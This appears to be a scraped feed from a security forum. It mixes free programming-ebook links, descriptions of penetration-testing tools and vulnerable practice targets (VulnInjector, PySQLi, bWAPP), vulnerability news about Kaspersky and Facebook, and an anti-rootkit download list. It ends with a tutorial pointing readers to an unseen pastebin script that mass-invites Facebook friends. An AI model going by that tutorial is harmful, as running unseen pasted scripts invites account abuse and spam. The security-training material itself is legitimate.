http://www.techotopia.com/index.php/JavaScript_Essentials JavaScript Essentials http://jqfundamentals.com/book/ jQuery Fundamentals (JavaScript) https://developer.mozilla.org/en/JavaScript/Guide Mozilla Developer Network's JavaScript Guide JavaScript (Node.js) http://ofps.oreilly.com/titles/9781449398583/ Up and Running with Node http://nodebeginner.org/ The Node Beginner Book http://visionmedia.github.com/masteringnode/ Mastering Node.js http://book.mixu.net/ Mixu's Node Book JavaScript (Backbone.js) http://addyosmani.github.io/backbone-fundamentals/ Developing Backbone.js Applications LaTeX http://tobi.oetiker.ch/lshort/lshort.pdf The Not So Short Introduction to LaTeX Linux http://www.advancedlinuxprogramming.com/ Advanced Linux Programming http://sources.redhat.com/autobook/download.html GNU Autoconf, Automake and Libtool http://www.linuxtopia.org/online_books/gui_toolkit_guides/gtk+_gnome_application_development/index.html GTK+/Gnome Application Development http://www.informit.com/content/downloads/perens/0130091154.pdf The Linux Development Platform (PDF) http://lwn.net/Kernel/LDD3/ Linux Device Drivers Jonathan Corbet, Alessandro Rubini ? Greg Kroah-Hartman http://tldp.org/LDP/lkmpg/2.6/html/ The Linux Kernel Module Programming Guide http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO.html Secure Programming for Linux and Unix Lisp http://www.cs.cmu.edu/Groups/AI/html/cltl/mirrors.html Common Lisp the Language, 2nd Edition http://www.cs.cmu.edu/~dst/LispBook/ Common Lisp: A Gentle Introduction to Symbolic Computation — David S. Touretzky http://clqr.boundp.org/ Common Lisp Quick Reference http://letoverlambda.com/index.cl/toc Let Over Lambda — 50 Years of Lisp http://www.informatics.susx.ac.uk/research/groups/nlp/gazdar/nlp-in-lisp/index.html Natural Language Processing in Lisp http://www.paulgraham.com/onlisp.html On Lisp http://www.gigamonkeys.com/book/ Practical Common Lisp http://psg.com/~dlamkins/sl/ Successful Lisp: How to Understand and Use Common Lisp — David Lamkins http://www.bcl.hamilton.ie/~nmh/t3x.org/zzz/ Sketchy LISP — Nils Holm Lua http://www.lua.org/pil/ Programming In Lua (??? ?????? 5) Mathematica http://www.mathprogramming-intro.org/ Mathematica® programming: an advanced introduction by Leonid Shifrin Maven http://www.maestrodev.com/better-build-maven Better Builds with Maven http://www.sonatype.com/books/mvnex-book/reference/public-book.html Maven by Example http://www.sonatype.com/books/mvnref-book/reference/public-book.html Maven: The Complete Reference http://www.sonatype.com/books/nexus-book/reference/ Repository Management with Nexus http://www.sonatype.com/books/m2eclipse-book/reference/ Developing with Eclipse and Maven Mercurial http://hgbook.red-bean.com/ Mercurial: The Definitive Guide http://hginit.com/ HGInit — Mercurial Tutorial by Joel Spolsky Nemerle ??. <strong>.NET</strong> ???? .NET (C# / VB / Nemerle / Visual Studio) http://www.techotopia.com/index.php/C_Sharp_Essentials C# Essentials http://en.wikibooks.org/wiki/C_Sharp_Programming C# Programming — Wikibook http://www.csharpcourse.com/ C# Yellow Book (???????? ? ????????????????) http://www.charlespetzold.com/dotnet/index.html Charles Petzold's .NET Book Zero http://www.brpreiss.com/books/opus6/ Data Structures and Algorithms with Object-Oriented Design Patterns in C# http://weblogs.asp.net/zeeshanhirani/archive/2008/12/05/my-christmas-present-to-the-entity-framework-community.aspx Entity Framework http://blogs.msdn.com/b/microsoft_press/archive/2010/09/13/free-ebook-moving-to-microsoft-visual-studio-2010.aspx Moving to Microsoft Visual Studio 2010 http://asaha.com/ebook/AMTQ2NjA-/Nemerle.pdf Nemerle http://www.programmersheaven.com/2/CSharpBook Programmer's Heaven C# School Book (??????????????? C# 1.0 ? 2.0) http://www.albahari.com/threading/ Threading in C# http://www.techotopia.com/index.php/Visual_Basic_Essentials Visual Basic Essentials http://www.infoq.com/minibooks/vsnettt Visual Studio Tips and Tricks (?????? VS 2003-2005) NoSQL http://books.couchdb.org/relax/ CouchDB: The Definitive Guide http://openmymind.net/2011/3/28/The-Little-MongoDB-Book The Little MongoDB Book http://openmymind.net/2012/1/23/The-Little-Redis-Book/ The Little Redis Book https://github.com/kondratovich/the-little-redis-book Oberon http://www-old.oberon.ethz.ch/WirthPubl/ProgInOberon.pdf Programming in Oberon (PDF) Objective-C http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjectiveC/ The Objective-C Programming Language http://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/OOP_ObjC/OOP_ObjC.pdf Object-Oriented Programming with Objective-C OCaml http://courses.cms.caltech.edu/cs134/cs134b/book.pdf Introduction to Objective Caml (PDF) http://www.ffconsultancy.com/products/ocaml_for_scientists/chapter1.html Objective Caml for Scientists (first chapter only) http://ocamlunix.forge.ocamlcore.org/ Unix System Programming in OCaml http://caml.inria.fr/pub/docs/oreilly-book/ Developing Applications With Objective Caml Oracle Server Oracle's http://tahiti.oracle.com/ Guides and Manuals Oracle PL/SQL http://download.oracle.com/docs/cd/E11882_01/appdev.112/e17126/toc.htm PL/SQL Language Reference http://download.oracle.com/docs/cd/E11882_01/appdev.112/e16760/toc.htm PL/SQL Packages and Types Reference http://www.toadworld.com/Knowledge/DatabaseKnowledge/StevenFeuersteinsPLSQLObsession/tabid/153/Default.aspx Steven Feuerstein's PL/SQL Obsession — Videos and Presentations Parrot / Perl 6 http://github.com/perl6/book/ Using Perl 6 (? ??????) Perl http://www.perl.org/books/beginning-perl/ Beginning Perl http://www.masonbook.com/book/ Embedding Perl in HTML with Mason http://cslibrary.stanford.edu/108/EssentialPerl.pdf Essential Perl http://www.extremeperl.org/bk/home Extreme Perl http://hop.perl.plover.com/book/ Higher-Order Perl http://www.masonbook.com/book/ The Mason Book http://www.onyxneon.com/books/modern_perl/index.html Modern Perl 5 http://lwp.interglacial.com/index.html Perl & LWP http://www.globalspin.com/thebook/ Perl for the Web http://linkmingle.com/list/13-plus-List-of-Free-Great-Perl-Books-available-Online-freebooksandarticles Perl Free Online EBooks http://www.greenteapress.com/perl/ Perl The Hard Way http://modperlbook.org/ Practical mod_perl http://oreilly.com/openbook/webclient/ Web Client Programming with Perl PHP http://www.techotopia.com/index.php/PHP_Essentials PHP Essentials http://www.tuxradar.com/practicalphp Practical PHP Programming http://symfony.com/doc/current/book/index.html Symfony2 http://www.survivethedeepend.com/ Zend Framework: Survive the Deep End PowerShell http://powershell.com/cs/blogs/ebook/ Mastering PowerShell Prolog http://www.amzi.com/AdventureInProlog/advfrtop.htm Adventure in Prolog http://bookboon.com/int/student/it/applications-of-prolog Applications of Prolog http://www.amzi.com/ExpertSystemsInProlog/ Building Expert Systems in Prolog http://www.j-paine.org/prolog/mathnotes/files/pms/pms.html Introduction to Prolog for Mathematicians http://www.learnprolognow.org/ Learn Prolog Now! http://www.ida.liu.se/~ulfni/lpp/ Logic, Programming and Prolog (2ed) http://www.informatics.susx.ac.uk/research/groups/nlp/gazdar/nlp-in-prolog/index.html Natural Language Processing in Prolog http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/ Natural Language Processing Techniques in Prolog http://computing.unn.ac.uk/staff/cgpb4/prologbook/ Prolog Programming A First Course http://bookboon.com/int/student/it/prolog-techniques-applications-of-prolog Prolog Techniques http://www.cs.bris.ac.uk/~flach/SimplyLogical.html Simply Logical http://download.pdc.dk/vip/72/books/tyros/tyros72.pdf Visual Prolog 7.2 for Tyros PostgreSQL http://www.commandprompt.com/ppbook/ Practical PostgreSQL Python http://homepage.mac.com/s_lott/books/python.html Building Skills in Python Version 2.5 http://www.swaroopch.com/notes/Python Byte of Python http://www.brpreiss.com/books/opus7/html/book.html Data Structures and Algorithms in Python http://www.diveintopython.net/ Dive into Python http://diveintopython3.ep.io/ Dive into Python 3 http://djangobook.com/ The Django Book http://www.greenteapress.com/thinkpython/thinkCSpy/ How to Think Like a Computer Scientist: Learning with Python http://inventwithpython.com/ Invent Your Own Computer Games With Python http://learnpythonthehardway.org Learn Python The Hard Way http://www.nltk.org/book Natural Language Processing with Python http://openbookproject.net/pybiblio/ Python Bibliotheca http://www.openbookproject.net/py4fun/ Python for Fun http://www.briggs.net.nz/log/writing/snake-wrangling-for-kids/" title="SWFK Snake Wrangling For Kids http://www.greenteapress.com/thinkpython/thinkpython.pdf Think Python (PDF) http://www.mindview.net/Books/TIPython/ Thinking in Python R http://cran.r-project.org/manuals.html The R Manuals http://stat.ethz.ch/R-manual/R-patched/doc/html/ The R Language http://www.mayin.org/ajayshah/KB/R/index.html R by example http://stats.lse.ac.uk/penzer/ST419materials/ Computational Statistics, Jeremy Penzer Ruby http://ruby.learncodethehardway.org/book/ Learn Ruby the hard way http://macruby.labs.oreilly.com/ MacRuby: The Definitive Guide http://www.humblelittlerubybook.com/ Mr. Neighborly's Humble Little Ruby Book http://www.ruby-doc.org/docs/ProgrammingRuby/ Programming Ruby http://rubybestpractices.com/ Ruby Best Practices http://mislav.uniqpath.com/poignant-guide/ Why's (Poignant) Guide to Ruby ( http://www.scribd.com/doc/2236084/Whys-Poignant-Guide-to-Ruby ??????? ) Ruby on Rails http://ruby.railstutorial.org/ruby-on-rails-tutorial-book Ruby on Rails Tutorial: Learn Rails By Example Scala http://exploring.liftweb.net/ Exploring Lift («The Definitive Guide to Lift», http://groups.google.com/group/the-lift-book PDF ) http://github.com/tjweir/liftbook Lift http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/ Pro Scala: Monadic Design Patterns for the Web http://www.artima.com/pins1ed/ Programming in Scala, First Edition http://programming-scala.labs.oreilly.com/index.html Programming Scala http://www.scala-lang.org/docu/files/ScalaByExample.pdf Scala By Example (PDF) http://www.scala-lang.org/docu/files/ScalaTutorial.pdf A Scala Tutorial for Java programmers (PDF) http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/ Xtrace Scheme https://gustavus.edu/+max/concrete-abstractions.html Concrete Abstractions: An Introduction to Computer Science Using Scheme The Scheme Programming Language http://www.scheme.com/tspl3/ ??????? 3 , http://www.scheme.com/tspl4/ ??????? 4 http://www.cs.berkeley.edu/~bh/ss-toc2.html Simply Scheme: Introducing Computer Science Sed http://www.grymoire.com/Unix/Sed.html Sed — An Introduction and Tutorial Smalltalk http://book.seaside.st/book/table-of-contents Dynamic Web Development with Seaside http://stephane.ducasse.free.fr/FreeBooks.html Free Online Smalltalk Books (?????? ????) http://www.squeakbyexample.org/ Squeak By Example (Smalltalk IDE) Subversion http://www.phptr.com/content/images/0131855182/downloads/Nagel_book.pdf Subversion Version Control (PDF) http://svnbook.red-bean.com/ Version Control with Subversion SQL http://www.cs.arizona.edu/people/rts/publications.html Developing Time-Oriented Database Applications in SQL http://use-the-index-luke.com/ Use The Index, Luke!: A Guide To SQL Database Performance http://sql.learncodethehardway.org/ Learn SQL The Hard Way Teradata http://www.info.teradata.com/ Teradata Books Vim http://www.swaroopch.com/notes/Vim A Byte of Vim http://vim.runpaint.org/toc/ Vim Recipes http://www.truth.sk/vim/vimbook-OPL.pdf Vi Improved — Vim Steve Oualline Websphere http://public.dhe.ibm.com/software/dw/db2/express-c/wiki/Getting_Started_with_WASCE_p2.pdf Getting started with WebSphere (PDF) Windows Phone http://blogs.msdn.com/b/microsoft_press/archive/2010/10/28/free-ebook-programming-windows-phone-7-by-charles-petzold.aspx Programming Windows Phone 7 http://aka.ms/wp75book Application Development Windows Phone 7.5 PDF ( Windows http://aka.ms/rmom4a Application Development Windows 8 ?? ????? C# PDF [/LIST] am incercat sa postez linkurile aici dar imi da eroare Lecturã plãcutã!
-
Introducing VulnInjector Whats VulnInjector? VulnInjector will create an automated 'vulnerable' installation of a Windows target to practise penetration testing on. Why make it? Due to the licencing of Microsoft Windows, it's not legal for us to redistribute it (including the setup disk or it being pre-installed - which is what usually happens with Linux targets). However, VulnInjector uses your own Windows setup (and product key) to create a 'modified' setup image. This new image automates the setup of Windows itself and then applies the modifications needed for the target to become a 'vulnerable'. Windows Setup + Product key + VulnInjector = Vulnerable Windows Target Requirements To run VulnInjector to create the image file: Pre-installed windows environment. dot NET framework 4 or higher. (Download here). To create the target (depends on their specification): A Windows setup disk or image file. A matching valid product key. How to use it Make sure you have dot NET framework 4 or higher pre-installed. Download and run the setup file. Select where to put the Windows setup files you wish to use for the 'source'. To do so press the CD icon and choose either a physical drive letter or locate an image file. It may prompt you for a service pack. Check which service pack is required, download a local copy and select it when prompted. It will say 'valid', if it matches the target requirements. Enter your product key. Press 'Generate Image (.ISO)' once it's enabled. Once complete, close VulnInjector. The image can then be burnt onto a CD/DVD to be used on a physical machine or loaded inside a virtual machine. (Its recommended that you use a virtual machine). Make sure to boot from CD/DVD drive. If hard drive is empty, Windows will automatically start installation. Alternatively, when prompted, press any key to start installation. This is the only interaction necessary for the setup. Wait for Windows setup to complete. Windows will automatically restart. When its complete, you should see the login screen, however, there shouldn't be any users listed. If you're using a virtual machine, its recommended to create a snapshot at this point. Remotely gain access to the target! The video below, demonstrates using 'bobby.exe' (00:00), installing it (01:24) and verifying it's on the isolated network (04:29). How does it work? The stages behind VulnInjector are: Extracts the boot sector of the setup source. Copies the content of the setup files into a local 'temporary' location. Checks to see if the setup files match the target's specification. If necessary, slipstreams the required service pack. Creates an 'answer file' for the Windows setup process. Copies over the target's setup file. Generates an image of the 'temporary' files. Removes temporary files. Screenshots Download Sources: VulnHub: Introducing VulnInjector https://github.com/g0tmi1k/VulnInjector
-
1. Overview PySQLi is a python framework designed to exploit complex SQL injection vulnerabilities. It provides dedicated bricks that can be used to build advanced exploits or easily extended/improved to fit the case. 2. Why another SQLi framework ? Simple answer: because there are other ways than HTTP requests to exploit SQLi vulnerabilities ! Most of the available tools only rely on HTTP GET/POST methods, and sometimes provide other methods. PySQLi is thought to be easily modified and extended through derivated classes and to be able to inject into various ways such as command line, custom network protocols and even in anti-CSRF HTTP forms. PySQLi is still in an early stage of development, whereas it has been developed since more than three years. Many features lack but the actual version but this will be improved in the next months/years. 3. Documentation Look at our demos or dig deeper into PySQLi's code to get more information on how to use it. We will add many other info in the wiki if we find some time. Download | Source
-
DarkJPEG is a new generation open source steganography web service. It is supposed to serve people's needs for the freedom of communication even in those countries which break human rights by forcing some kind of Internet censorship or even denying to use cryptography by law. The service uses strong steganography methods to hide the very fact of hiding data among with strong cryptography methods to protect the data of being read by non-trusted groups of people. Main features: SHA3 key generation; AES256 encryption; JPEG steganography; Random containers; Client side encoding; Anonymity and privacy; MIT License. Additional info Components RarJPEG Denial Server-less App Engine Development See also Thanks License Download | Source
-
- 1
-
Hacker reported vulnerability in Kaspersky website; Demonstrated malware spreading technique The cyber Security Analyst 'Ebrahim Hegazy' (@Zigoo0) Consultant at Q-CERT has found an "Unvalidated Redirection Vulnerability" in the website of the giant security solutions vendor "Kaspersky". Ebrahim, who found a SQL Injection in "Avira" website last month, this time he found a Unvalidated Redirection Vulnerability that could be exploited for various purposes such as: Cloned websites (Phishing pages) It could also be used by Black Hats for Malware spreading In the specific case what is very striking is that the link usable for the attacks is originated by a security firm like Kaspersky with serious consequences. Would you trust a link from your security vendor? Absolutely Yes! But imagine your security vendor is asking you to download a malware! To explain how dangerous the situation is when your security vendor is vulnerable, Ebrahim Hegazy sent me a video explaining the malware spreading scenario to simulate a Black Hat's exploiting Unvalidated Redirection Vulnerability in Kaspersky website to serve a malware. explained Ebrahim Hegazy.After the researcher reported the vulnerability to Kaspersky team, it took about 2 months to fix the vulnerability, it is really a long time considering that if a hacker had found this flaw before Hagazy he could spread links using Kaspersky.com. The consequences of unfixing of such vulnerability are critical Wide infection - since the redirection is coming from a trusted source especially if the attacker registered a domain name similar to Kaspersky.com Very bad reputation for Kaspersky company. Your most trusted resource "Your Antivirus" will be your worst enemy! Would you trust anything else! And many other consequences. The vulnerability was reported to Kaspersky web-team and is now fixed. Via: Hacker reported vulnerability in Kaspersky website; Demonstrated malware spreading technique - The Hacker News
-
- ebrahim hegazy
- kaspersky
-
(and 2 more)
Tagged with:
-
https://spreadsheets.google.com/viewform?formkey=dFJjcF9BRldVTVZGMlYtc1JCU0xXcHc6MQ
-
Messenger -> Preferences -> Ignore List -> Ignore anyone who is not in my Yahoo! Contacts.
-
Hacker posts Facebook bug report on Zuckerberg`s wall
Fi8sVrs replied to Fi8sVrs's topic in Stiri securitate
a luat 10k usd Khalil Shreateh - Facebook Bounty by Marc Maiffret - GoFundMe source: Zuckerberg's Facebook page hacked to prove security exploit - CNN.com -
mi simplu instalezi un program de genul "parental control"
-
Follows is a list of antirootkits. I have mirrored some of the hard-to-download ones at this site. If the author of a tool would not like me to mirror their tool, please email or PM me and I will remove the link. Also, if you know of any more antirootkits, please post or PM me, and I will add them to the list. ATool - http://www.antiy.net/download/atool.rar (dead link -> use mirror) ATool (mirror) - http://www.kernelmode.info/ARKs/atool.rar Antivir Antirootkit - http://dl.antivir.de/down/windows/antivir_rootkit.zip AntiSpy - http://antispy.googlecode.com/files/AntiSpy1.2.zip & KernelMode.info • View topic - ?2013-07-13?AntiSpy1.9 released Avast! Antirootkit - http://files.avast.com/files/beta/aswar.exe Avast! MBR Scanner aswMBR AVZ - Download / ??????? Catchme - http://www2.gmer.net/catchme.exe CodeWalker ARK - http://cmcinfosec.com/download/cmcark_cw0.2.4.500.rar CodeWalker ARK (mirror) - http://www.kernelmode.info/ARKs/cmcark_cw0.2.4.500.rar CsrWalker - http://www.rootkit.com/vault/DiabloNova/cwalker.rar (dead link -> use mirror) CsrWalker (mirror) - http://www.kernelmode.info/ARKs/cwalker.rar DarkSpy 1.05 - http://www.rootkit.com/vault/cardmagic/DS105fix2beta.rar (dead link -> use mirror) DarkSpy 1.05 (mirror) - http://www.kernelmode.info/ARKs/DS105fix2beta.rar DeepMonitor - http://orkblutt.free.fr/DeepMonitor.exe Deep System Explorer (dead link) - http://diamondcs.com.au/downloads/dsesetup.exe Deep System Explorer (mirror) - http://www.kernelmode.info/ARKs/dsesetup.exe Dr. Web DwShark (mirror) - http://www.kernelmode.info/ARKs/DwShark.rar Dr. Web DwShark (newer version) (mirror) - http://www.kernelmode.info/ARKs/DrwShark.7z Esage Bootkit Remover http://www.esagelab.com/files/bootkit_remover.rar Esage Bootkit Remover (mirror) http://www.kernelmode.info/ARKs/bootkit_remover.zip ESET SysInspector http://www.eset.eu/en/eset-sysinspector F-Secure Blacklight - ftp://ftp.f-secure.com/anti-virus/tools/fsbl.exe Filter Monitor - http://ntcore.com/files/FilterMon.zip FindDll 2 (by Eric_71) - http://eric71.geekstogo.com/beta/FindDll2.exe FLISTER - http://www.invisiblethings.org/tools/flister.zip (dead link -> use mirror) FLISTER (mirror) - http://www.kernelmode.info/ARKs/flister.zip GMER - http://www2.gmer.net/gmer.zip Helios - Miel-Labs.com Helios Lite - Miel-Labs.com HiddenFinder - http://www.wenpoint.com/download/HiddenFinder_setup.exe Hook Analyzer - http://www.resplendence.com/download/hookanlz302.exe HookShark (dead link) - Homepage "neotracer" nicht erreichbar HookShark (mirror) - http://www.kernelmode.info/ARKs/HookShark.rar IceSword 1.22 (english) - http://mail.ustc.edu.cn/~jfpan/download/IceSword122en.zip IceSword 1.22 (english) (mirror) - http://www.kernelmode.info/ARKs/IceSword122en.zip Kaspersky TDSSKiller http://support.kaspersky.com/downloads/utils/tdsskiller.zip Kernel Detective v1.3.1 - http://www.at4re.com/files/Tools/Releases/GamingMasteR/Kernel_Detective_v1.3.1.zip Kernel Detective v1.3.1 (mirror) - http://www.kernelmode.info/ARKs/Kernel_Detective_v1.3.1.zip kX-Ray 1.0.0.102 - http://bugczech.fu8.com/bin/kX-Ray_v1.0.0.102_XP32_beta.zip (dead link -> use mirror) kX-Ray 1.0.0.102 (mirror) - http://www.kernelmode.info/ARKs/kX-Ray_v1.0.0.102_XP32_beta.zip Mandiant Memoryze - http://fred.mandiant.com/MemoryzeSetup.msi McAfee Rootkit Detective - http://download.nai.com/products/mcafee-avert/McafeeRootkitDetective.zip modGREPER - http://invisiblethings.org/tools/modGREPER/modGREPER-0.3-bin.zip (dead link -> use mirror) modGREPER (mirror) - http://www.kernelmode.info/ARKs/modGREPER-0.3-bin.zip NIAP Rootkit Detect Tools - http://www.rootkit.com/vault/uty/NIAPAntiRootkitTools.rar (dead link -> use mirror) NIAP Rootkit Detect Tools (mirror) - http://www.kernelmode.info/ARKs/NIAPAntiRootkitTools.rar Norton Power Eraser http://liveupdate.symantec.com/upgrade/NPE/1033/NPE.exe Oshi Unhooker Download OSHI Unhooker Panda Antirootkit - http://research.pandasecurity.com/blogs/images/AntiRootkit.zip Process Hunter - http://www.wasm.ru/baixado.php?mode=tool&id=359 Process Walker - http://www.rootkit.com/vault/DiabloNova/ProcessWalker.rar (dead link -> use mirror) Process Walker (mirror) - http://www.kernelmode.info/ARKs/ProcessWalker.rar Radix - http://www.usec.at/downloads3/radix_installer.zip RegReveal - http://www.geocities.jp/kiskzo/regreveal_v10beta3.zip RootkitDetector - http://www.tarasco.org/security/Rootkit_Detector_rkdetector/RootkitDetector.zip Rootkit Unhooker 3.8 SR2 - http://www.kernelmode.info/ARKs/RkU3.8.389.593.rar Rootkit Revealer - http://download.sysinternals.com/Files/RootkitRevealer.zip RootQuest (dead link) - http://comsentry.com/files/RootQuest_v1.exe RootQuest (mirror) - http://www.kernelmode.info/ARKs/RootQuest_v1.rar RootRepeal - http://rootrepeal.googlepages.com/RootRepeal.rar Safe'n'Sec Personal Pro + Rootkit Detector - http://www.safensoft.com/sns/snsrd_eng.exe (dead link -> use mirror) Safe'n'Sec Personal Pro + Rootkit Detector (mirror) - http://www.kernelmode.info/ARKs/snsrd_eng.exe SafetyCheck 1.7 - http://yyuyao.googlepages.com/SafetyCheck1.7Beta.rar SanityCheck - http://www.resplendence.com/download/sanitySetup.exe Sophos Antirootkit - http://www.sophos.com/products/free-tools/sophos-anti-rootkit/download/ Stealth MBR Rootkit Detector - http://www2.gmer.net/mbr/mbr.exe SysProt Antirootkit - http://sites.google.com/site/sysprotantirootkit/Home/SysProt.zip?attredirects=0&d=1 SysReveal - http://www.sysreveal.com/download/SysReveal.zip TDSS Remover - http://www.esagelab.com/files/tdss_remover_latest.rar Tizer Rootkit Razor - http://www.tizersecure.com/freedownloads/Tizer%20Rootkit%20Razor%20Setup.msi (dead link -> use mirror) Tizer Rootkit Razor (mirror) - http://www.kernelmode.info/ARKs/Tizer%20Rootkit%20Razor%20Setup.msi TrendMicro RootkitBuster - http://www.trendmicro.com/ftp/products/rootkitbuster/RootkitBuster_3.60.1016.zip Tuluka Kernel Inspector - http://tuluka.org/tlk/Tuluka_v1.0.394.77.zip Tukula Kernel Inspector (mirror) - http://www.kernelmode.info/ARKs/Tuluka_v1.0.394.77.zip VBA32 Antirootkit - ftp://anti-virus.by/pub/vba32arkit.zip XueTr - http://xuetr.com/download/XueTr.zip XueTr CLI - http://www.xuetr.com/download/XueTr_Cmd.zip YasKit 1.223 - http://qzdx.kafan.cn/down1//AntiSpyWare/2009/YasKit1.223.rar (dead link -> use mirror) YasKit 1.223 (mirror) - http://www.kernelmode.info/ARKs/YasKit1.223.rar 64-bit Tools Avast! Antirootkit - http://files.avast.com/files/beta/aswar.exe Avast! MBR Scanner - aswMBR ESET SysInspector - http://www.eset.eu/en/eset-sysinspector GMER (link same as above) SanityCheck (link same as above) Sophos - Free Rootkit Detection and Removal | Sophos Anti-Rootkit Tool TrueX64 (mirror) - http://www.kernelmode.info/ARKs/TrueX64.rar Win64AST - KernelMode.info • View topic - [2013-08-07]ARK for Windows x64: WIN64AST(Page5#49) KernelMode.info • View topic - List of Anti-Rootkits
- 1 reply
-
- 2
-
dompdf is an HTML to PDF converter. At its heart, dompdf is (mostly) CSS 2.1 compliant HTML layout and rendering engine written in PHP. It is a style-driven renderer: it will download and read external stylesheets, inline style tags, and the style attributes of individual HTML elements. It also supports most presentational HTML attributes. Check out the Demo and ask any question on StackOverflow or on the Google Groups Features handles most CSS 2.1 and a few CSS3 properties, including @import, @media & @page rules supports most presentational HTML 4.0 attributes supports external stylesheets, either local or through http/ftp (via fopen-wrappers) supports complex tables, including row & column spans, separate & collapsed border models, individual cell styling image support (gif, png (8, 24 and 32 bit with alpha channel), bmp & jpeg) no dependencies on external PDF libraries, thanks to the R&OS PDF class inline PHP support Requirements PHP 5.0+ (5.3 recommended) MBString extension DOM extension (bundled with PHP 5) Some fonts. PDFs internally support Helvetica, Times-Roman, Courier & Zapf-Dingbats, but if you wish to use other fonts you will need to install some fonts. dompdf supports the same fonts as the underlying R&OS PDF class: Type 1 (.pfb with the corresponding .afm) and TrueType (.ttf). At the minimum, you should probably have the Microsoft core fonts. See the font installation instructions. Easy Installation Install with git From the command line switch to the directory where dompdf will reside and run the following commands: git clone https://github.com/dompdf/dompdf.git git submodule init git submodule update Install with composer Add dompdf to composer.json { "require" : { "dompdf/dompdf" : "dev-master" } } From the command line run composer update to install dompdf to the vendor directory. Download and install Download an archive of dompdf and extract it into the directory where dompdf will reside You can download stable copies of dompdf from https://code.google.com/p/dompdf/downloads/list Or download a nightly (the latest, unreleased code) from DOMPDF @ eclecticgeek Limitations (Known Issues) not particularly tolerant to poorly-formed HTML input (using Tidy first may help). large files or large tables can take a while to render CSS float is not supported (but is in the works). If you find this project useful, please consider making a donation. Source: https://github.com/dompdf/dompdf
-
A Palestinian information system expert says he was forced to post a bug report on Mark Zuckerberg’s Facebook page after the social network’s security team failed to recognize that a critical vulnerability he found allows anyone to post on someone's wall. The vulnerability, which was reported by a man calling himself ‘Khalil,’ allows any Facebook user to post anything on the walls of other users - even when those users are not included in their list of friends. He reported the vulnerability through Facebook’s security feedback page, which offered a minimum reward of US$500 for each real security bug report. However, the social network’s security team failed to acknowledge the bug, even though Khalil enclosed a link to a post he made on the timeline of a random girl who studied at the same college as Facebook CEO Mark Zuckerberg. “Sorry, this is not a bug,” Facebook’s security team said in response to Khalil’s second report, in which he offered to reproduce the discussed vulnerability on a test account of Facebook security expert. After receiving the reply, Khalil claims he had no choice but to showcase the problem on Mark Zuckerberg’s wall. Screenshots on his blog show that Khalil shared details of the exploit, as well as his disappointing experience with the security team, on the Facebook founder’s wall. Just minutes after the post, Khalil says he received a response from a Facebook engineer requesting all the details about the vulnerability. His account was blocked while the security team rushed to close the loophole. After receiving the third bug report, a Facebook security engineer finally admitted the vulnerability but said that Khalil won’t be paid for reporting it because his actions violated the website’s security terms of service. Although Facebook’s White Hat security feedback program sets no reward cap for the most “severe” and “creative” bugs, it sets a number of rules that security analysts should follow in order to be eligible for a cash reward. Facebook did not specify which of the rules Khalil had broken. Somewhere between the second and third vulnerability reports, Khalil also recorded a video of himself reproducing the bug. www.youtube.com/watch?v=F9J8U9ZpEnw In its latest reply, Facebook reinstated Khalil’s account and expressed hope that he will continue to work with Facebook to find more vulnerabilities. Via: http://rt.com/news/facebook-post-exploit-hacker-zuckerberg-621/
-
bWAPP or a buggy web application is a free and open source web application build to allow security enthusiasts, students and developers to better secure web applications. bWAPP prepares you to conduct successful penetration testing and ethical hacking projects. It is for educational purposes only. bWAPP contains all vulnerabilities from the OWASP Top 10 project. The OWASP Top 10 provides an accurate snapshot of the current threat landscape in application security and reflects the collaborative efforts and insights of thousands of accomplished security engineers. To reflect the ongoing changes in technology and common online business practices, the list is periodically updated. You can download bWAPP from here. Have fun! We also offer a 2-day comprehensive web security course 'Attacking and Defending Web Applications with bWAPP'. This course can be scheduled on demand, at your location! bWAPP includes: injection vulnerabilities like SQL, XML/XPath, HTML, command and mail injections. Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) malicious file uploads authentication, authorization and session management issues directory traversal local and remote file inclusions information disclosures configuration issues HTTP response splitting SSL issues Man-in-the-Middle attacks parameter modifications and much more... Upcoming bugs: AJAX, JSON, Web Services, Clickjacking. bWAPP is a PHP application that uses a MySQL database. It can be hosted on Linux and Windows using Apache/IIS and MySQL. It can also be installed with WAMP or XAMPP. It's also possible to download our bee-box, a custom Linux VMware virtual machine pre-installed with bWAPP. This project is part of the ITSEC GAMES project. You can find more about bWAPP on this blog very soon. We will cover the installation procedure and most of the web application issues/bugs. Sources: ITSEC Games: bWAPP - a buggy web application ! https://sourceforge.net/projects/bwapp/files/bWAPP/ itsecgames
-
majoritatea scripturilor sunt compatibile pentru 2.7
-
how to add all your Facebook friends in your group in a single click. Remember! Use properly .... So let's start Before the start of this tutorial use Google Chrome only. Steps 1. Copy auto invites Script http://pastebin.com/UhPhRUX7 